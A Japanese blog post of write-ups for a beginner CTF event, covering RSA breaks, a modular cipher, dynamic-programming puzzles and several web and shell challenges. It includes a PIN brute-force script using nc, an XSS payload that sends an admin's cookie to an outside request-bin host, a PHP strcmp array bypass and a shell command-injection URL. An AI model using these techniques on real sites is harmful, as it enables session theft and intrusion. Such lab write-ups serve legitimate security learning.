競プロとCTFの体験会 #CPCTF write up その2



前回の記事で、本番での楽しさや部室の盛り上がりが伝わっていれば良いなと思いつつ、残りの問題も勉強のために解いてみたいと思います。解けなかった問題に対する解説をwrite upと言っていいのかどうか、よく知らないのですが、ctf-no.pro が公開終了するまでに書けるだけwrite upしたいと思います。この調子だと残りを全部解くのは無理そうですが、この記事では13問解いています。

Flag Post Service

ヒント1を見ると「URLを入力したらPOSTしてくれるサービスのようですね」と書いてありますが、いい方法がわからないので、ヒント3まで見ると、「「request bin」というサービスが使えそうです」と書いてあるので、request binで生成されたURLにリクエストを送ると、フラグが入手できます。フラグは FLAG{REQUEST_BIN} でした。

pincode

この問題では次のようなRubyプログラムを書いてブルートフォース攻撃を行いました。

str = `echo "" > console.txt`

$i = 0

for i in 0..9999 do
  $i = i

  str = `echo #$i | tee -a console.txt`
  print(str)

  str = `echo #$i | nc ctf-no.pro 3334 | tee -a console.txt`
  print(str)
end

そして、cat console.txt | grep -v -E "^(Welcome|Name|PIN|[0-9]+)"といったようなコマンドで答えを探していたのですが、見つからないのも当然で、ログインに成功した場合にconsole.txtに書き出される内容が、 PIN (0-9999): Login Successful. というものになっていて、Login Successful. の直前に改行が出力されていなかったのです。結局grepは諦めて、最終的にはコンソール出力をひたすら眺めているときにログインに成功したのを発見し、フラグを取ることができました。

mint@ubuntu:~$ nc ctf-no.pro 3334
Welcome to ようこそ trap Portal Service.
Name: Guest
PIN (0-9999): 3792
Login Successful.
ls
bin
boot
dev
etc
home
lib
lib64
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cd home
cd guest
cat flag.txt
FLAG{6rut3f0rc3}
exit

フラグは FLAG{6rut3f0rc3} でした。ヒントをすべて見たので0点になってしまいました。

WelcomeToRSA

RSA暗号のアルゴリズムは少し複雑なものになっていて、知らない人はすぐには理解するのは難しいかもしれません。というか自分もあまり良く理解していません。ですが、この問題で重要なのは、RSA暗号において、 n は、2つの素数 p, q の積になるということです。そして、この問題では2つの素数のうちの片方が公開されていますので、公開鍵を片方の素数で割ってあげればもう一方も判明します。というわけで、暗号化と復号のためのプログラムについて、コメントアウトされている85行目のコメントを元に戻し、その後でq0を設定すればOKです。

# encrypt
cip0 = modpow(mes0, e0, n0)
cip0 = 0x7a799e0b6f6e009851c74ea3a97ec79a449a92d4954004f77fc4165b43b9bfa5  # uncomment
puts cip0.to_s(16)
# decrypt test
q0 = n0/p0  # recover q0
puts [modpow(cip0, modinv(e0,phi(p0,q0)), n0).to_s(16)].pack("H*")

フラグは FLAG{RSA_is_secure_isnt_it?}でした。

man_of_man

man@man_of_man.ctf-no.pro に ssh 接続すると、manコマンドが出てきます。恐らくmanコマンドの中から他のファイルを見る何かを実行するのだと考えます。ここで、:q でmanを終了させられることが判明したので、:!:w を試してみますが何も起きませんでした。最終的に、:e でファイルが開けることが判明し、flag.txt を開くことができました。フラグは FLAG{m@n_c@n_3x3c_c0mm@nd} でした。

フラグによると、manコマンドの中でコマンドを実行できるとのことですが、調べてみます。

manコマンド中にHキーを押すと、manコマンドのヘルプを見ることができます。これによると、

  !command             Execute the shell command with $SHELL.

と書いてあります。どうやら !command でコマンドを実行できるようです。試しに !ls -al と打ってみます。

total 24
drwx------ 2 man  man  4096 Apr 19 15:27 .
drwxr-xr-x 1 root root 4096 Apr 19 15:27 ..
-rw-r--r-- 1 man  man    21 Feb 14 22:16 .bash_logout
-rw-r--r-- 1 man  man    57 Feb 14 22:16 .bash_profile
-rw-r--r-- 1 man  man   141 Feb 14 22:16 .bashrc
-rw-r--r-- 1 man  man    27 Apr 19 15:27 flag.txt
!done  (press RETURN)

コマンドが実行できました。

プロジェクトマネージャー

これはナップザック問題という有名な問題なので、わざわざ解説するまでもないと思います。Google先生に教えてもらってください。

using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;

public class Test
{
    public static void Main()
    {
        var N = int.Parse(Console.ReadLine());

        for (int n = 0; n < N; n++)
        {
            var line1 = Console.ReadLine().Split(' ').Select(x => int.Parse(x)).ToArray();
            var T = line1[0];  // プロジェクトの日数
            var S = line1[1];  // 機能の数

            // 実装に必要な日数
            var a = Console.ReadLine().Split(' ').Select(x => int.Parse(x)).ToArray();

            // クオリティ上昇量
            var b = Console.ReadLine().Split(' ').Select(x => long.Parse(x)).ToArray();

            var dp = new long[S + 1, T + 1];
            // 添字i,jはそれぞれ、
            //「i - 1番目(0-origin)までのプロジェクトを考慮する」
            //「j日以内で」

            // dp[0, *] = 0;
            // dp[*, 0] = 0;
            
            for (int i = 0; i < S; i++)
            {
                for (int j = 1; j <= T; j++)
                {
                    // a[i] : i番目(0-origin)の機能を実装するために必要な日数
                    // j    : 現在までの日数
                    if (j >= a[i])
                    {
                        // ちょうどj日目までにi番目の機能を実装した場合と、
                        //しなかった場合の、クオリティの高い方を取る
                        dp[i + 1, j] = Math.Max(
                            // 実装しない場合は、昨日と同じクオリティ
                            dp[i, j],
                            // 実装する場合、a[i]日前より、実装した分クオリティが上がる
                            dp[i, j - a[i]] + b[i]);
                    }
                    else
                    {
                        // j日目までには機能iを実装できない
                        dp[i + 1, j] = dp[i, j];
                    }
                }
            }

            Console.WriteLine(dp[S, T]);
            // S-1番目までのすべてのプロジェクトをT日以内で実装した場合の最大クオリティ
        }
    }
}

0オリジンと1オリジンが混ざってしまい、少しハマってしまいました。フラグは FLAG{YouAreProfessionalProjectManager} でした。

カフェインファイター2

動的計画法で考えます。i日目までにm本のカフェインを摂取した場合で、最後にカフェインを摂取したのがちょうどk日前である場合の疲労度を dp[i][m][k] とします。ただし、k=K-1の場合は、k日以上カフェインを摂取していなくても良いとします。

このとき、

 dp[0][m][k] = 0 \quad (\mathrm{if} \  m = 0 \land k = K - 1)


 dp[0][m][k] = \infty \quad (\mathrm{otherwise})


となります。

もし、最後にカフェインを摂取したのがK-2日以内になる場合は、カフェインが摂取できませんので、与えられた疲労度を受け入れるしかありません。

 dp[i][m][k + 1] = dp[i - 1][m][k] + a_i \quad (k \leq K - 2)

また、添字がK-1のときは、最後にカフェインを摂取したのがK-1日前になる場合と、K日以上カフェインを摂取していない場合を考えますので、次のようになります。

 dp[i][m][K - 1] = \min( dp[i - 1][m][K - 2], \  dp[i - 1][m][K - 1] ) + a_i

そして、i日目にカフェインを摂取することも可能です。この場合は、次のようになります。

 dp[i][m][0] = dp[i - 1][m - 1][K - 1] + C \quad (m \geq 1)

これらを三重ループで計算すると、求める値はN日目までの疲労の最小値なので次のようになります。

 \min_{m, k} (dp[N][m][k])

フラグは FLAG{syaro_fights_against_r3gr3t} でした。

using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;

public class Test
{
    public static void Main()
    {
        var line1 = Console.ReadLine().Split(' ').Select(x => int.Parse(x)).ToArray();
        var N = line1[0];  // 日数
        var M = line1[1];  // カフェインの数
        var K = line1[2];  // カフェインを飲める間隔
        var C = line1[3];  // カフェインを飲んだ場合の疲労

        var a = Console.ReadLine().Split(' ').Select(x => int.Parse(x)).ToArray();  // 疲労度

        var dp = new long[N + 1, M + 1, K];
        // 最初のi日間でm本のカフェインを飲んだ状態で、
        // 最後にカフェインを飲んでからちょうどj日経過している場合の最小の疲労度。
        // ただし k == K - 1 の場合は、K - 1日以上経過している場合の最小の疲労度。

        // dp[0, 0, K - 1] = 0

        for (int i = 0; i < N + 1; i++)
        {
            for (int m = 0; m < M + 1; m++)
            {
                for (int k = 0; k < K; k++)
                {
                    dp[i, m, k] = long.MaxValue / 3;
                }
            }
        }

        dp[0, 0, K - 1] = 0;

        for (int i = 1; i <= N; i++)
        {
            for (int m = 0; m < M + 1; m++)
            {
                for (int k = 0; k < K - 1; k++)
                {
                    // カフェインを飲まない場合は a[i - 1] だけ疲労する
                    dp[i, m, k + 1] = dp[i - 1, m, k] + a[i - 1];
                }

                // カフェインを飲むと、Cだけ疲労する
                if (m >= 1)
                {
                    dp[i, m, 0] = dp[i - 1, m - 1, K - 1] + C;
                }

                // ちょうどK - 1日前にカフェインを飲んでも良いし、
                // K日以上、カフェインを飲まないのも自由だ。
                dp[i, m, K - 1] = Math.Min(dp[i, m, K - 1], dp[i - 1, m, K - 1] + a[i - 1]);
            }
        }

        // N日間頑張ったときの、最小の疲労度
        long min = long.MaxValue / 3;
        for (int m = 0; m < M + 1; m++)
        {
            for (int k = 0; k < K; k++)
            {
                min = Math.Min(min, dp[N, m, k]);
            }
        }

        Console.WriteLine(min);
    }
}

114514秒スタジアム

これはオンサイトでの解説があった問題になります。解説によると、まずボタンをクリックしてタイマーを動作させます。

次に、chromeの開発者ツールから、clearIntervalでタイマーを解除し、Game.elapsedを11451400に設定します。

その後、もう一度ボタンを押すと、フラグ FLAG{IIASIAI9I9BIO} が入手できます。問題文以上にフラグが汚いですね。

ResistRegister

ヒント2を見ると、「/login と /register にはほとんど同じに見えて違いがあるようです。」とあります。よくソースコードを見比べてみると、loginページではinputフィールドのnameとidが、passwordではなくpassになっていることがわかります。そこで、HTMLを保存し、passをpasswordに書き換えてあげるとログインができて、フラグ FLAG{nam1ng_1s_diff1cult} を取ることができます。

AwesomeService

「フォームから <script> タグを用いて管理者のブラウザを操り、クッキーを盗み出しましょう。」というヒントがあるので、クッキーをPOSTするJavaScriptを書きます。POSTの受け取りにはFlag Post Serviceでお世話になったrequest binを使いました。ちなみに、chromeでは次のようなエラーが出てしまい実行できないので、Internet Explorerを使用しました。

Messageには次のようなHTMLを書きます。

<form id="my_form" method="POST" action="http://requestb.in/******">
  <input name="cookie" type="hidden" id="my_input" value="">
</form>
<script> 
  document.getElementById("my_input").value = document.cookie;
  my_form.submit();
</script>

すると、管理者のcookieがpostされますので、EditThisCookieなどのcookie書き換えツールを使用して、ブラウザのcookieを書き換えます。

その後Loginボタンを押すとログインすることができ、FLAG{xssxsxsxxssxsssxsssxsssxsxs} というファイルが見つかります。フラグはそのまま、 FLAG{xssxsxsxxssxsssxsssxsssxsxs} です。

PasswordCracking 4

phpファイルのソースコードを見ると、

        if(strcmp($_REQUEST["pass"], "**** CENSORED ****") == 0){
            echo("Nice! **** CENSORED ****");

となっているので、strcmpの結果を0にすれば良いと考えられます。しかし、普通の方法では0にできそうにないので、Googleで「php strcmp 脆弱性」などで検索します。すると、

So, I prepare a quick test comparing str1 with an Array (or an Object) instead of another string:

$fields = array(
    'id' => '127.0.0.1',
    'ps' => 'bar'
);
$a="danux";
 if (strcmp($a,$fields) == 0){
        echo " This is zero!!";
 }
 else{
       echo "This is not zero";
}

And got below warning from PHP:

PHP Warning: strcmp() expects parameter 2 to be string, array given in ...

But guess what?Voila! it also returns the string "This is zero!!" In other words, it returns 0 as if both values were equal.

(http://danuxx.blogspot.jp/2013/03/unauthorized-access-bypassing-php-strcmp.html)

英語はよくわからないですが、strcmpの引数の片方に配列を与えると、strcmpの結果がNULLとなるようです。つまり、passに配列を送ることができれば良さそうです。なので、php _request array あたりで検索すると、

<input type="text" name="terms[]" />
<input type="text" name="terms[]" />
<input type="text" name="terms[]" />

(http://stackoverflow.com/questions/1543950/php-request-as-array)

のように書けば配列を渡せるっぽいことがわかります。よって、この問題は、HTMLの10行目のinputを次のように書き換えればOKです。

        <input type="text" name="pass[]" value="1">
        <input type="text" name="pass[]" value="2">

フラグは FLAG{false_equals_zero!?} でした。CTF感の高い問題でしたね。


4/27 追記:

Request Binを使ってクエリ文字列を確認したところ、pass[]=1&pass[]=2 のようになっていました。従って、次のようなURLにアクセスするか(GETメソッドの場合)、

http://passwordcracking.ctf-no.pro/4.php?pass[]=1&pass[]=2

あるいは次のようなコマンドを叩くことでもフラグを取ることができます。

mint@ubuntu:~$ wget http://passwordcracking.ctf-no.pro/4.php --post-data "pass[]=1&pass[]=2"
--2017-04-27 01:07:45--  http://passwordcracking.ctf-no.pro/4.php
passwordcracking.ctf-no.pro (passwordcracking.ctf-no.pro) をDNSに問いあわせています... 133.130.100.147
passwordcracking.ctf-no.pro (passwordcracking.ctf-no.pro)|133.130.100.147|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 特定できません 
`4.php' に保存中

4.php                   [ <=>                ]     296  --.-KB/s    in 0s      

2017-04-27 01:07:45 (20.4 MB/s) - `4.php' へ保存終了 [296]

mint@ubuntu:~$ cat 4.php 
<!DOCTYPE html>
<html lang="ja">
<head>
	<meta charset="UTF-8">
	<title>PasswordCracking 4</title>
</head>
<body>
	<pre>FLAG is password. Can you guess it?</pre>
	<form method="POST">
		<input type="text" name="pass">
		<button>go</button>
	</form>
	Nice! FLAG{false_equals_zero!?}</body>
</html>

sanctuary

この問題もオンサイトでの解説がありました。少し違っている気がしますが、こんな感じで解けます。要はFLAG{...}を消せばよいので、sedじゃなくてod -cとかでも良いと思います。

http://passwordcracking.ctf-no.pro/source.php?f=source.php|sed s/F/f/g|cat - source

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTf-8">
</head>
<body style="background-color: #EEE">
    <?= preg_replace("/fLAG\{.+?\}/", "**** CENSORED ****", shell_exec("php -s {$_REQUEST["f"]}.php")) ?>
</body>
</html>
<?php

    /* wow! ur sharp-sighted... fLAG for 'selfie' is fLAG{tHou_shAlt_noT_touCh_It} (make 'f' capital) */

    /* but ... i have one more fLAG for 'sanctuary' here. ---> fLAG{ThEre_iS_a_sanCtuarY} <--- can you read this? */

?>
**** CENSORED **** <--- can you read this? */ ?>

フラグは FLAG{ThEre_iS_a_sanCtuarY} でした。

Multiplicative

この問題でも、定数シードを用いた固定の乱数列が2つ用いられています。この乱数列をそれぞれ

 d_i, m_i


と置きます。ここで、m_i は 26 と互いに素な17以上の素数です。このとき、暗号化前の文字列 x_i (0 <= x_i <= 25) と暗号化後の文字列 y_i (0 <= y_i <= 25) は次のように表せます。

 y_i = (x_i + d_i) m_i - d_i \quad (\mathrm{mod} 26)


x_i が1増えるごとに y_i は m_i 増えますが、ここで m_i は 26 と互いに素なので、この x_i から y_i への写像は全単射になっていて、元の文字列を簡単に復号できそうな雰囲気があります。今回はやっていませんが、サーバーにAからZまでの26通りの文字列を送って、その結果をテーブルとして復号することも出来るのではないかと思います。(追記あり)

さて、これを式変形すると、

 x_i m_i = y_i - d_i (m_i - 1) \quad (\mathrm{mod} 26)


となります。ここで、自然数 m_i が 0 (mod 13) でないとき、

 m_i^{12} = 1 \quad (\mathrm{mod} 13)


が成立します(理由は忘れましたが、ちゃんと数学的な証明があった気がします)。よって、m_i が 0, 13 (mod 26) でないとき、

 m_i^{12} = 1, 14 \quad (\mathrm{mod} 26)


となります。ここで、m_i が 26 と互いに素であるという仮定を用いると m_i は奇数であり、m_i が奇数のとき、m_i^12 (mod 26) も奇数となります。また、m_i は 約数に 13 を持たないため、 m_i != 13 (mod 26) も成立します。よって、

 m_i^{12} = 1 \quad (\mathrm{mod} 26)


が成立します。従って、先程の x と y の関係式の両辺に m_i^11 を掛ければ、次のようになります。

 x_i = (y_i - d_i (m_i - 1)) m_i^{11} \quad (\mathrm{mod} 26)


ここで、d_i * (m_i - 1) は入力として AAAA... を与えた場合の出力になるので簡単に求められます。また、m_i は、入力として BBBB... を与えた場合と AAAA... を与えた場合の出力の差になりますので簡単に求められます。これで、y_i から x_i を計算することができました。

まずは、サーバーに AAAA... と BBBB... を入力します。

mint@ubuntu:~$ nc Multiplicative.ctf-no.pro 59230
AAAA{AAAAAA_AAAAAAAAA_AAA_AAAA_AAAAAAAAAA}
EEOO{KAAUMY_IGAYGCCWK_UUG_GUGE_MMYQQKIUKY}
mint@ubuntu:~$ nc Multiplicative.ctf-no.pro 59230
BBBB{BBBBBB_BBBBBBBBB_BBB_BBBB_BBBBBBBBBB}
LDZJ{HDPTPB_DVBJRXLLT_TXJ_BNRH_FJDHJPBFRX}

これを元に、復号を行います。

s0 = "NTOK{AQTATO_QXEDGLWYX_NUI_YUTY_LNQLORFEMG}";  // 暗号化されたフラグ
s1 = "EEOO{KAAUMY_IGAYGCCWK_UUG_GUGE_MMYQQKIUKY}";  // AAAA...を入力した場合の出力
s2 = "LDZJ{HDPTPB_DVBJRXLLT_TXJ_BNRH_FJDHJPBFRX}";  // BBBB...を入力した場合の出力

for(i = 0; i < s0.length; i++) {
  y = s0.charCodeAt(i);
  if(65 <= y && y <= 90) {
    // y[i] から d[i] * (m[i] - 1) を減算
    y = (y - s1.charCodeAt(i) + 26) % 26;

    // m[i] を計算
    m = (s2.charCodeAt(i) - s1.charCodeAt(i) + 26) % 26;

    // y に m[i] ^ 11 を乗算
    for(j = 0; j < 11; j++) {
      y = (y * m) % 26;
    }

    document.write(String.fromCharCode(y + 65));
  }else {
    document.write(s0.charAt(i));
  }
}

これで、フラグ FLAG{MODULO_OPERATION_HAS_MANY_PROPERTIES} を復号することができます。


4/27 追記:

AAAA... から ZZZZ... をサーバーに送信して解いてみました。まずは、サーバーに26通りの結果を問い合わせます。

mint@ubuntu:~$ echo "AAAA{AAAAAA_AAAAAAAAA_AAA_AAAA_AAAAAAAAAA}" > AAAA.txt
mint@ubuntu:~$ for alpha in `echo {A..Z}` ; do tr A $alpha < AAAA.txt | nc Multiplicative.ctf-no.pro 59230 ; done
EEOO{KAAUMY_IGAYGCCWK_UUG_GUGE_MMYQQKIUKY}
LDZJ{HDPTPB_DVBJRXLLT_TXJ_BNRH_FJDHJPBFRX}
SCKE{EGESSE_YKCUCSUAC_SAM_WGCK_YGIYCUUQYW}
ZBVZ{BJTRVH_TZDFNNDPL_RDP_RZNN_RDNPVZNBFV}
GAGU{YMIQYK_OOEQYIMEU_QGS_MSYQ_KASGOEGMMU}
NZRP{VPXPBN_JDFBJDVTD_PJV_HLJT_DXXXHJZXTT}
UYCK{SSMOEQ_ESGMUYEIM_OMY_CEUW_WUCOAOSIAS}
BXNF{PVBNHT_ZHHXFTNXV_NPB_XXFZ_PRHFTTLTHR}
IWYA{MYQMKW_UWIIQOWME_MSE_SQQC_IOMWMYEEOQ}
PVJV{JBFLNZ_PLJTBJFBN_LVH_NJBF_BLRNFDXPVP}
WUUQ{GEUKQC_KAKEMEOQW_KYK_ICMI_UIWEYIQACO}
DTFL{DHJJTF_FPLPXZXFF_JBN_DVXL_NFBVRNJLJN}
KSQG{AKYIWI_AEMAIUGUO_IEQ_YOIO_GCGMKSCWQM}
RRBB{XNNHZL_VTNLTPPJX_HHT_THTR_ZZLDDXVHXL}
YQMW{UQCGCO_QIOWEKYYG_GKW_OAEU_SWQUWCOSEK}
FPXR{RTRFFR_LXPHPFHNP_FNZ_JTPX_LTVLPHHDLJ}
MOIM{OWGEIU_GMQSAAQCY_EQC_EMAA_EQACIMAOSI}
TNTH{LZVDLX_BBRDLVZRH_DTF_ZFLD_XNFTBRTZZH}
AMEC{ICKCOA_WQSOWQIGQ_CWI_UYWG_QKKKUWMKGG}
HLPX{FFZBRD_RFTZHLRVZ_BZL_PRHJ_JHPBNBFVNF}
OKAS{CIOAUG_MUUKSGAKI_ACO_KKSM_CEUSGGYGUE}
VJLN{ZLDZXJ_HJVVDBJZR_ZFR_FDDP_VBZJZLRRBD}
CIWI{WOSYAM_CYWGOWSOA_YIU_AWOS_OYEASQKCIC}
JHHD{TRHXDP_XNXRZRBDJ_XLX_VPZV_HVJRLVDNPB}
QGSY{QUWWGS_SCYCKMKSS_WOA_QIKY_ASOIEAWYWA}
XFDT{NXLVJV_NRZNVHTHB_VRD_LBVB_TPTZXFPJDZ}

この暗号化テーブルを用いて、復号を行います。

<textarea id="matrix" style="display:none;">
EEOO{KAAUMY_IGAYGCCWK_UUG_GUGE_MMYQQKIUKY}
(中略)
XFDT{NXLVJV_NRZNVHTHB_VRD_LBVB_TPTZXFPJDZ}
</textarea>

<script>
s0 = "NTOK{AQTATO_QXEDGLWYX_NUI_YUTY_LNQLORFEMG}";  // 暗号化されたフラグ
matrix = document.getElementById("matrix").value.split("\n");  // 変換テーブル

for(i = 0; i < s0.length; i++) {
  y = s0.charCodeAt(i);
  if(65 <= y && y <= 90) {
    for(j = 0; j < 26; j++) {
      if(y == matrix[j].charCodeAt(i)) {
        document.write(String.fromCharCode(65 + j));
        break;
      }
    }
  }else {
    document.write(s0.charAt(i));
  }
}
</script>

無事この方法でも復号が出来ました。

matRyoShkA

この問題もヒントを最後まで見てしまったのですが、3段階あるRSAを後ろから順に解いていくという問題です。最初のRSAは、片方の素因数が小さいため、2から総当りすると解くことができます。

#!/usr/bin/env python3

n = 0x2c6fa007a2b931469c4a7c69d026429dbe6606fa12b196005a8af432039e9244d9149a26982127fef48cf87adcec4f75a31a5cff5fd6c5ab18ba0f679653c4ef7db348d5c118a2f0ca3a65e182e58991288e4268cdf9316f9d9ad4140c178a39563a3ec91abd536ece2e822b71bcf6157096f451a703b994af5a7d95d5dd185ad4b1ce623763e8750b70f0d85a56b84a507835839356d9161294742bd06c24c96b86118d461a6ce3c5cd9fbc26e6e0724e543cbeb08f56f72753703644236de6e0873333f65eb64e840cb22b076b7dc6668e2667e0d647e583b4a9d87abfbe1bf5081ae2745936b4e0822a39bb258652e0ff8dfad84dd5bf0b34fa1965adc74644717e3e9aaa8c7b7d49e9b0260d45794304425d85f9f65276d6426394d75542a53811db53910bfa0c92816d32092e4cec1c3d646ab7cd01473c302d7375b4118286778b83c13c890c9a726bdd4248f3b4a89adca4becabda3ea903b37a182e4e2c490e3651bac80973b394b370126997dc73e481db83b041c93ecea4cacfb8e8f42970dc6b9cb99ad6d506042cb26e07ba954d817be939b150eb2724cd04f57e59fab69085bad5b8e2748dd992b777472695ed56389ecb107a9ead639a784ef28c28f42a514718f5d41b65497c33a5379454637dc807e3844fa3b519337845b208d95a9277528245efd64ce8e42755da9a215a1885f83d13714d30d8f2c16d1102174c0b06df4da3350a8276c68bbf610eee92e845f92be441ee1ca34842f242d1ade64ef24d80074bdfea59d97684a4daac315c61d07dc447d961a805e420db0ea7beb820b40af0f08dfd8998bf8cf61ed7c019a6df3170620fae47dd5530b1eda9003d45376a10ddbe9b99e9f62cb9b97f6de57e3b

for i in range(10000):
  if i >= 2:
    if n % i == 0:
      print("found.")
      print(i)
mint@ubuntu:~$ python3 prime.py3
found.
1453

これを用いると、メッセージmes2を見ることができます。

Good Job! Is this solvable?
Good Job! Is this solvable?
n = 631173cc22c1c9d82ac62d8a39ba8f1aef075896e1e9f266d2763f828a7aa39d47d84a82776b3738915ac8f3a7eae86c91c9b582b0fa1f5b01762ea57355828a4c4255a5b9a8f2bd21ee79a074637172ae9f9902bc325d7824e963f668beffe11713b800c25849df06a4110f5a31e709712a60205a44ea834727d4d0f5b06f615e6c479e19fc0feacdc9
e = 3b9aca07
c = 3a89b0311b5a24314342d6e360186ee8562bf3bc9b3907cebdb2daf3de97f692e4eb85a34669ddd8828a37634fb327540b0e9c8cfd30acc81d7ff1c8dfb6ef815dc8053c09c7776e96cb6e3461b2d8f2e519bf61b1937dfe7369c2367410fde55c707bdaf4aa0699b62b827b5b24e9ace1edea84ea9a9973960ae22dcc59165e5ae6f7a2416f9f379a54

同じメッセージが2回出ているのは意図的だそうです。さて、次のヒントを見るとRSA2は平方根を取ると良いと書いてあるので n の平方根を取ると、これは整数になり、メッセージmes1を見ることができます。

Last one! Can you solve this?
n = 1c99675878b712102e6daab912973f0dfd071c79da1
e = 10001
c = 1a20fe21d0ae7d8d2f4b4fd67994a78362bf80e9b4f

これくらいの桁数(51桁)であれば、数の帝国で計算できます。

ちなみに keisan.casio.jp は50桁までだそうです。残念。

これで、フラグ FLAG{bakuRetSu_mAhou} を取ることができました。とても大きな数字だったので、驚いてしまった人も多かったかもしれませんが、ヒント3まで見れば(あと時間があれば)解ける問題でした。

さいごに

(ง '-' )ง うーっ ٩( 'o' )۶ぽよぽよ〜っ!!

アンケート

前回の記事でも貼りましたが、お時間に余裕のある方はどうぞ。